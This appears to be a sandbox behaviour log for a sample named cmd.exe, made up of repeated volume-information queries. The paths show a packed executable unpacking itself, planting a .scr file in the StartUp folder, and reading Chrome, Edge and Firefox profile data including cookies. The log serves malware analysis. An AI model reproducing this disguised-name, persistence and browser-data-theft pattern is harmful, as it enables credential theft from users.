Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation
